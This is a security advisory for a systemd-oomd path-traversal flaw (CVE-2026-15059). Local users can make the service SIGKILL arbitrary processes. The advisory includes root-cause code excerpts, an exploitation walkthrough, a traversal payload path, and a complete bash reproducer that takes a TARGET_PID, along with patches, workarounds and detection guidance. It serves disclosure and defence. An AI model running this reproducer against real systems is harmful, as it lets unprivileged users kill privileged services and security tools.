Skip to content

GHSA-652q-wxr6-h5j6 on CTRL-OS 26.05

Aliases: GHSA-652q-wxr6-h5j6, CVE-2026-15059

Packages: systemd

Status: Plausible

Advisory Information

Impact

Local unprivileged users can terminate arbitrary local processes via a systemd-oomd IPC API due to a missing path traversal validation.

Patches

v261 (https://github.com/systemd/systemd/commit/cde88c4ea364e816619f385a870d074ebc12fe0f) v260.3 (https://github.com/systemd/systemd/commit/1b2a891e311acced16e0b7b16f220a2a7b08dde4) v259.7 (https://github.com/systemd/systemd/commit/967850cb99e3644a08f195507b8de22dd63abdf5) v258.9 (https://github.com/systemd/systemd/commit/a8feb2f23565d39df5c90a753c851c1934a53117)

Workarounds

Several possibilities:

  • disable unprivileged access to /run/systemd/oom/io.systemd.ManagedOOM socket, by adding a drop-in for systemd-oomd.socket with this content:
    [Socket]
    SocketMode=0600
    
  • disable systemd-oomd.service

References

Original report follows

Summary

systemd-oomd exposes a world-accessible varlink method, io.systemd.oom.ReportManagedOOMCGroups, intended for reporting cgroups that systemd should monitor for managed out-of-memory handling. The implementation accepts a caller-supplied cgroup path, derives the sender's authorization from the textual user-<uid>.slice component in that path, and later resolves the same untrusted string into /sys/fs/cgroup with path simplification.

This creates a confused-deputy vulnerability. A local unprivileged user can submit a path that appears to belong to their own user slice for authorization, but that contains enough ../ traversal to resolve outside cgroupfs into an attacker-controlled directory such as /dev/shm/.... By populating that directory with fake cgroup control files, including cgroup.procs, the attacker can cause systemd-oomd to read attacker-controlled resource-pressure data and send SIGKILL to attacker-selected PIDs.

The confirmed impact is arbitrary local process kill through a privileged system service, including privileged/root-owned processes, subject to the privileges available to systemd-oomd on the target system. This is primarily a local denial-of-service and integrity-boundary violation. Local privilege escalation was investigated through multiple target chains but was not demonstrated.

A secondary side effect was also confirmed: systemd-oomd updates fixed user.oomd_ooms and user.oomd_kill extended attributes using a read/write mismatch. It reads xattrs with lgetxattr() but writes with setxattr(), which follows symlinks. This permits constrained writes of fixed user.oomd_* xattr values to symlink targets in locations where the filesystem permits those xattrs. Testing showed this was reliable in /run/lock style locations and blocked on /etc with EROFS; no privilege-escalation consumer was identified.

Technical Root Cause Analysis

Trust Boundary

The vulnerable trust boundary is the varlink interface exposed by systemd-oomd:

  • Source: local unprivileged user input over /run/systemd/oom/io.systemd.ManagedOOM.
  • Sink: privileged cgroup file reads and recursive process killing performed by systemd-oomd.
  • Broken assumption: a cgroup path string that contains a user-<uid>.slice component and passes ownership parsing is safe to later resolve as a real cgroupfs path.

The varlink server is initialized with the managed OOM interface and listens on a user-accessible socket:

/* src/oom/oomd-manager.c */
r = sd_varlink_server_bind_method_many(
                s,
                "io.systemd.oom.ReportManagedOOMCGroups", process_managed_oom_request,
                ...);

if (fd < 0)
        r = sd_varlink_server_listen_address(s, VARLINK_PATH_MANAGED_OOM_USER, 0666);

Authorization Based on Non-Canonical Path Text

The request handler parses caller-controlled JSON fields, including path, then checks ownership for non-root senders:

/* src/oom/oomd-manager.c */
r = sd_json_dispatch(c, dispatch_table, 0, &message);
...
if (uid != 0) {
        uid_t cg_uid;

        r = cg_path_get_owner_uid(message.path, &cg_uid);
        ...
        if (uid != cg_uid)
                return log_error_errno(SYNTHETIC_ERRNO(EPERM), ...);
}

cg_path_get_owner_uid() derives the owner UID from the slice name in the supplied cgroup path:

/* src/basic/cgroup-util.c */
int cg_path_get_owner_uid(const char *path, uid_t *ret_uid) {
        _cleanup_free_ char *slice = NULL;
        char *start, *end;

        r = cg_path_get_slice(path, &slice);
        ...
        start = startswith(slice, "user-");
        ...
        end = endswith(start, ".slice");
        ...
        if (parse_uid(start, ret_uid) < 0)
                return -ENXIO;

        return 0;
}

This check does not prove that the eventual filesystem target is a cgroup directory under /sys/fs/cgroup. It proves only that the submitted string contains a user-slice component that parses to the sender's UID.

Later Canonicalization Allows Traversal Outside CGroupFS

After authorization, cgroup helper functions construct real filesystem paths by joining /sys/fs/cgroup, the untrusted cgroup path, and a suffix, then simplifying the result:

/* src/basic/cgroup-util.c */
int cg_get_path(const char *path, const char *suffix, char **ret) {
        char *t;

        if (isempty(path))
                path = TAKE_PTR(suffix);

        t = path_join("/sys/fs/cgroup", path, suffix);
        ...
        *ret = path_simplify(t);
        return 0;
}

If path contains ../../.., path_simplify() can reduce the constructed path to a location outside /sys/fs/cgroup, for example into /dev/shm/<attacker-controlled-directory>.

Attacker-Controlled CGroup Data Is Consumed

systemd-oomd later reads cgroup pressure and memory accounting files through the same path-resolution helper:

/* src/oom/oomd-util.c */
r = cg_get_path(path, "memory.pressure", &p);
r = read_resource_pressure(p, PRESSURE_TYPE_FULL, &ctx->memory_pressure);

r = cg_get_attribute_as_uint64(path, "memory.current", &ctx->current_memory_usage);
r = cg_get_attribute_as_uint64(path, "memory.min", &ctx->memory_min);
r = cg_get_attribute_as_uint64(path, "memory.low", &ctx->memory_low);
r = cg_get_attribute_as_uint64(path, "memory.swap.current", &ctx->swap_usage);
r = cg_get_keyed_attribute_uint64(path, "memory.stat", "pgscan", &ctx->pgscan);

The attacker can satisfy these reads with regular files in a fake directory and craft values that make the fake cgroup appear to exceed managed OOM thresholds.

Privileged Kill Sink

When a cgroup is selected for killing, systemd-oomd increments accounting xattrs and sends SIGKILL to PIDs listed in the resolved cgroup.procs path:

/* src/oom/oomd-util.c */
r = increment_oomd_xattr(ctx->path, "user.oomd_ooms", 1);

if (recurse)
        r = cg_kill_recursive(ctx->path, SIGKILL, CGROUP_IGNORE_SELF, pids_killed, log_kill, NULL);
else
        r = cg_kill(ctx->path, SIGKILL, CGROUP_IGNORE_SELF, pids_killed, log_kill, NULL);

r = increment_oomd_xattr(ctx->path, "user.oomd_kill", set_size(pids_killed));

The cgroup process iterator opens cgroup.procs through cg_get_path():

/* src/basic/cgroup-util.c */
r = cg_get_path(path, "cgroup.procs", &fs);
f = fopen(fs, "re");

As a result, a fake cgroup.procs file controlled by the attacker can nominate arbitrary PIDs for systemd-oomd to kill.

The xattr update helper reads an existing xattr value, increments it, and writes it back:

/* src/oom/oomd-util.c */
r = cg_get_xattr(path, xattr, &value, NULL);
...
r = cg_set_xattr(path, xattr, buf, strlen(buf), 0);

The lower-level helpers use different symlink behavior:

/* src/basic/cgroup-util.c */
return RET_NERRNO(setxattr(fs, name, value, size, flags));
...
return lgetxattr_malloc(fs, name, ret, ret_size);

lgetxattr() reads the symlink itself, while setxattr() follows the symlink. This creates a constrained fixed-name xattr write primitive when the attacker can place a symlink at the resolved fake cgroup path.

Affected Assets & Attack Surface

Affected Components

  • systemd-oomd
  • io.systemd.oom.ReportManagedOOMCGroups
  • /run/systemd/oom/io.systemd.ManagedOOM
  • src/oom/oomd-manager.c
  • src/oom/oomd-util.c
  • src/basic/cgroup-util.c

Affected Security Boundary

The intended boundary is that a local user may only report and influence managed OOM behavior for cgroups that belong to that user. The vulnerability breaks this boundary by allowing a user-owned-looking path to resolve into attacker-controlled non-cgroup filesystem content.

Attacker Preconditions

  • Local unprivileged account or equivalent local code execution.
  • Ability to connect to the managed OOM varlink socket.
  • Ability to create a fake cgroup-like directory and files in a writable location visible to the systemd-oomd service mount namespace. /dev/shm satisfies this condition on tested Debian and Fedora systems, despite systemd-oomd.service using PrivateDevices=yes. Generic /tmp paths should not be assumed to work because systemd-oomd.service uses PrivateTmp=disconnected.
  • Knowledge of the target PID to kill.
  • systemd-oomd running and configured to process managed OOM reports.

Exposed Interfaces

  • World-accessible varlink socket: /run/systemd/oom/io.systemd.ManagedOOM
  • Method: io.systemd.oom.ReportManagedOOMCGroups
  • Input fields of interest:
  • path
  • property
  • limit
  • duration
  • mode

Candidate Targets For Kill Impact

An attacker can target any process that systemd-oomd can signal under the system's process and capability model. Testing confirmed privileged service processes could be killed in practice. High-impact targets can include:

  • Privileged daemons performing state transitions.
  • SUID helpers during authenticated operations.
  • Package, firmware, printer, disk, or policy management services.
  • Security monitoring or endpoint protection processes, where present.
  • Availability-critical production services.

The assessment did not identify a reliable privilege-escalation chain from killing tested targets, but the primitive remains chainable in environments with kill-unsafe privileged workflows.

Exploitation Walkthrough

An attacker can discover and exploit the issue using only local, unprivileged access:

  1. Confirm systemd-oomd is running and the managed OOM varlink socket exists at /run/systemd/oom/io.systemd.ManagedOOM.
  2. Read the caller's cgroup path from /proc/self/cgroup and identify the user-<uid>.slice component used by systemd's user-session hierarchy.
  3. Create a fake cgroup-like directory in a user-writable path visible to systemd-oomd, such as /dev/shm.
  4. Populate fake cgroup accounting files with syntactically valid values that make the fake cgroup eligible for killing.
  5. Place the chosen target PID in the fake cgroup.procs file.
  6. Submit a ReportManagedOOMCGroups varlink request whose path begins with the valid user cgroup path, then traverses out of /sys/fs/cgroup with ../ segments and into the fake directory.
  7. Set the per-cgroup request object to mode: "kill", property: "ManagedOOMMemoryPressure", limit: 1, and duration: 0.
  8. Wait for systemd-oomd to process the fake cgroup and send SIGKILL to the PID listed in fake cgroup.procs.

From a defensive perspective, the key observable events are:

  • A managed OOM report containing a path with traversal components.
  • systemd-oomd logs showing a candidate cgroup path containing ../.
  • The targeted service or process exiting with status=9/KILL.
  • No crash or restart of systemd-oomd itself.

The exploit does not require memory exhaustion. The attacker supplies fake pressure and accounting values that drive systemd-oomd's normal selection logic.

Proof-of-Concept & Evidence

Representative Payload Shape

A representative path has this form:

/user.slice/user-1000.slice/session-5.scope/../../../../../../../../../../dev/shm/fakecg-kill.<id>

The leading user-1000.slice component satisfies textual UID ownership parsing for UID 1000. The traversal suffix causes later filesystem resolution to leave /sys/fs/cgroup and reach the fake cgroup directory.

Fake CGroup Directory Contents

A minimal fake directory contains:

memory.pressure
memory.current
memory.min
memory.low
memory.swap.current
memory.stat
cgroup.procs

The cgroup.procs file contains the target PID. The memory files contain values that make the fake cgroup appear eligible for OOM action.

End-to-End Reproducer

The following reproducer is self-contained and intended for a lab host where systemd-oomd is running. By default, it starts a harmless sleep process owned by the current user and demonstrates that systemd-oomd kills the PID listed in an attacker-controlled fake cgroup.procs file outside /sys/fs/cgroup.

This reproducer uses /dev/shm as the attacker-controlled fake cgroup location. This path is normally world-writable and was reported to work on both Debian and Fedora test systems. PrivateTmp=disconnected prevents relying on /tmp or /var/tmp, and ProtectHome=yes prevents relying on home directories or /run/user, but /dev/shm remains visible to systemd-oomd on the tested configurations despite PrivateDevices=yes.

To test impact against a specific process in a controlled lab, set TARGET_PID=<pid> in the environment before running the script. The default behavior should be used for initial validation because it avoids disrupting privileged services.

cat > /tmp/repro-systemd-oomd-managed-oom-traversal.sh <<'SH'
#!/usr/bin/env bash
set -u

SOCK="/run/systemd/oom/io.systemd.ManagedOOM"
OUT="/tmp/oomd-managed-oom-repro-$$"
FAKE="/dev/shm/oomd-managed-oom-repro-$$"

mkdir -p "$OUT" "$FAKE"
echo "out=$OUT"
echo "fake=$FAKE"

if [ ! -S "$SOCK" ]; then
  echo "ERROR: managed OOM varlink socket not found: $SOCK" | tee "$OUT/result.txt"
  exit 1
fi

if ! command -v varlinkctl >/dev/null 2>&1; then
  echo "ERROR: varlinkctl is required" | tee "$OUT/result.txt"
  exit 1
fi

UIDN="$(id -u)"

# Prefer the caller's real cgroup path. This keeps the prefix realistic and
# ensures the submitted path contains user-$UID.slice for the ownership check.
CGBASE="$(awk -F: '$1 == "0" { print $3; exit }' /proc/self/cgroup 2>/dev/null)"
if [ -z "${CGBASE:-}" ] || ! printf '%s\n' "$CGBASE" | grep -q "user-${UIDN}.slice"; then
  SESSION_ID="$(loginctl 2>/dev/null | awk -v u="$(id -un)" '$3 == u { print $1; exit }')"
  if [ -n "$SESSION_ID" ]; then
    CGBASE="/user.slice/user-${UIDN}.slice/session-${SESSION_ID}.scope"
  else
    CGBASE="/user.slice/user-${UIDN}.slice/user@${UIDN}.service"
  fi
fi

if [ -n "${TARGET_PID:-}" ]; then
  VICTIM="$TARGET_PID"
  echo "using_supplied_target_pid=$VICTIM" | tee "$OUT/victim.txt"
else
  sleep 300 &
  VICTIM="$!"
  echo "started_default_sleep_victim=$VICTIM" | tee "$OUT/victim.txt"
fi

if ! kill -0 "$VICTIM" 2>/dev/null; then
  echo "ERROR: target PID is not alive: $VICTIM" | tee "$OUT/result.txt"
  exit 1
fi

# Fake cgroup files consumed by oomd_cgroup_context_acquire().
cat > "$FAKE/memory.pressure" <<'EOF'
some avg10=100.00 avg60=100.00 avg300=100.00 total=999999999
full avg10=100.00 avg60=100.00 avg300=100.00 total=999999999
EOF

echo 999999999 > "$FAKE/memory.current"
echo 0 > "$FAKE/memory.min"
echo 0 > "$FAKE/memory.low"
echo 0 > "$FAKE/memory.swap.current"

cat > "$FAKE/memory.stat" <<'EOF'
anon 999999999
file 0
kernel_stack 0
pagetables 0
sock 0
shmem 0
file_mapped 0
file_dirty 0
file_writeback 0
swapcached 0
anon_thp 0
file_thp 0
shmem_thp 0
inactive_anon 999999999
active_anon 0
inactive_file 0
active_file 0
unevictable 0
slab_reclaimable 0
slab_unreclaimable 0
pgscan 999999999
EOF

echo "$VICTIM" > "$FAKE/cgroup.procs"

# The prefix passes the textual user-slice owner check. The traversal suffix
# causes cg_get_path("/sys/fs/cgroup", path, suffix) + path_simplify() to
# resolve outside cgroupfs and into $FAKE.
PAYLOAD_PATH="${CGBASE}/../../../../../../../../../../${FAKE#/}"

{
  echo "uid=$UIDN"
  echo "cgbase=$CGBASE"
  echo "payload_path=$PAYLOAD_PATH"
  echo "victim_pid=$VICTIM"
  echo "oomd_before:"
  systemctl show systemd-oomd.service -p ActiveState -p SubState -p MainPID -p Result -p NRestarts 2>/dev/null || true
} | tee "$OUT/before.txt"

REQUEST="$(printf '{"cgroups":[{"mode":"kill","path":"%s","property":"ManagedOOMMemoryPressure","limit":1,"duration":0}]}' "$PAYLOAD_PATH")"
echo "$REQUEST" > "$OUT/request.json"

timeout 5 varlinkctl --oneway call "$SOCK" io.systemd.oom.ReportManagedOOMCGroups "$REQUEST" > "$OUT/varlink.out" 2>&1 || true

for _ in $(seq 1 450); do
  if ! kill -0 "$VICTIM" 2>/dev/null; then
    break
  fi
  sleep 0.1
done

{
  echo "oomd_after:"
  systemctl show systemd-oomd.service -p ActiveState -p SubState -p MainPID -p Result -p NRestarts 2>/dev/null || true
  if kill -0 "$VICTIM" 2>/dev/null; then
    echo "RESULT: victim_alive"
    echo "The target was not killed during the polling window."
    exit_code=2
  else
    echo "RESULT: victim_killed"
    exit_code=0
  fi
} | tee "$OUT/after.txt"

echo "Full reproducer logs: $OUT"
echo "Cleanup: rm -rf '$OUT' '$FAKE'"
exit "$exit_code"
SH

chmod +x /tmp/repro-systemd-oomd-managed-oom-traversal.sh
/tmp/repro-systemd-oomd-managed-oom-traversal.sh

Expected vulnerable output:

out=/tmp/oomd-managed-oom-repro.<pid>
fake=/dev/shm/oomd-managed-oom-repro.<pid>
started_default_sleep_victim=<victim_pid>
payload_path=/user.slice/user-<uid>.slice/.../../../../../../../../../../../dev/shm/oomd-managed-oom-repro.<pid>
oomd_before:
ActiveState=active
SubState=running
...
oomd_after:
ActiveState=active
SubState=running
...
RESULT: victim_killed

The important validation condition is RESULT: victim_killed while systemd-oomd.service remains active. This demonstrates that an unprivileged caller can supply a user-slice-looking path that resolves to attacker-controlled files and causes systemd-oomd to send SIGKILL to the PID listed in fake cgroup.procs.

Runtime Evidence From Local Validation

The issue was validated with local test harnesses against the running system:

payload_path=/user.slice/user-1000.slice/session-5.scope/../../../../../../../../../../dev/shm/fakecg-kill.<id>
killed pid=<target_pid>
victim_killed
ActiveState=active
SubState=running
Result=success
NRestarts=0

The key properties observed were:

  • The request was accepted from an unprivileged user.
  • The selected target PID was read from an attacker-controlled fake cgroup.procs.
  • systemd-oomd killed the target process.
  • systemd-oomd remained active and did not need to crash.

Secondary XAttr Evidence

Strace confirmed the xattr read/write mismatch:

lgetxattr(".../root-owned-link", "user.oomd_ooms", ...) = -1 ENODATA
setxattr(".../root-owned-link", "user.oomd_ooms", "1", 1, 0) = 0
lgetxattr(".../root-owned-link", "user.oomd_kill", ...) = -1 ENODATA
setxattr(".../root-owned-link", "user.oomd_kill", "1", 1, 0) = 0

This confirms that the read occurred on the symlink path while the write followed the symlink to the target. The value and xattr names are fixed by systemd-oomd; this is not an arbitrary file write.

Negative Chain Testing

The following candidate LPE chains were tested and did not produce privilege escalation:

  • sudo timestamp and long-running child behavior.
  • UDisks2 loop setup/mount/unmount operations.
  • crontab spool updates.
  • chfn, chsh, and passwd flows.
  • fwupd metadata refresh.
  • colord profile import.
  • snapd and LXD accessible operations.
  • FUSE/fusermount path, blocked by missing local FUSE bindings.
  • newuidmap/newgidmap, blocked by local user namespace conditions.
  • lxc-user-nic, helper exited before kill.
  • CUPS filter/backend/config operations.
  • PackageKit, apt/dpkg, tmpfiles, udev, polkit, resolved, and related service operations.

These negative results reduce confidence in a direct LPE on the tested host, but they do not reduce confidence in the underlying arbitrary privileged process-kill bug.

Impact Assessment

Confirmed Impact

An unprivileged local attacker can induce systemd-oomd to kill attacker-selected processes by supplying a path that passes textual cgroup ownership validation but resolves to attacker-controlled files.

The immediate impact is high availability loss for selected local processes. Because the killing action is performed by a privileged system service, the attacker can affect processes outside their own UID and cgroup boundaries, depending on the target system's systemd-oomd privileges and policy.

Adversarial Impact

An attacker can use the primitive to:

  • Cause targeted denial of service.
  • Suppress local defensive services temporarily if they can be signaled.
  • Destabilize privileged daemons during sensitive operations.
  • Build environment-specific chains against software that performs unsafe non-atomic privileged state transitions.

No general post-exploitation privilege gain was demonstrated. The bug should not be reported as confirmed LPE without an additional vulnerable consumer.

Confidentiality, Integrity, Availability

  • Confidentiality: no direct read primitive was demonstrated.
  • Integrity: no arbitrary file write was demonstrated. A constrained fixed-name xattr side effect was confirmed.
  • Availability: arbitrary privileged process kill was demonstrated.

Remediation Guidance

Primary Fix

Do not authorize or operate on untrusted cgroup paths solely as strings. The request handler should canonicalize and validate paths before ownership checks and before any filesystem access.

Recommended properties:

  1. Reject paths containing .. components before any use.
  2. Reject absolute paths or malformed cgroup paths that are not canonical cgroup paths.
  3. Resolve the final path relative to /sys/fs/cgroup and verify containment under /sys/fs/cgroup.
  4. Perform ownership checks against the resolved cgroup object, not against parsed text.
  5. Prefer file-descriptor-relative operations with openat2()-style constraints where available:
  6. RESOLVE_BENEATH
  7. RESOLVE_NO_SYMLINKS
  8. RESOLVE_NO_MAGICLINKS
  9. Fail closed if the target is not a real cgroup directory.

Suggested Validation Logic

Before accepting a non-root ReportManagedOOMCGroups entry:

  • Normalize the cgroup path as a logical cgroup path, not a generic filesystem path.
  • Reject . and .. path components.
  • Resolve under /sys/fs/cgroup.
  • Verify the resolved path is still beneath /sys/fs/cgroup.
  • Verify it refers to a directory on cgroupfs.
  • Verify ownership/delegation using cgroup metadata or trusted systemd unit ownership, not solely the user-<uid>.slice string.

XAttr Fix

Make xattr reads and writes use consistent symlink behavior. If cgroup xattrs are only meaningful on real cgroup directories:

  • Reject symlink targets before reading or writing xattrs.
  • Use lsetxattr() if intentionally operating on the link itself.
  • Use fd-based xattr APIs after opening a verified cgroup directory if operating on the target object.
  • Do not mix lgetxattr() and setxattr() for the same security-relevant object.

Updates

2026-08-12 21:29 CEST

Metadata changes:

  • Status for package systemd: “Plausible

2026-08-11 03:33 CEST

Metadata changes:

  • Status for package systemd: “New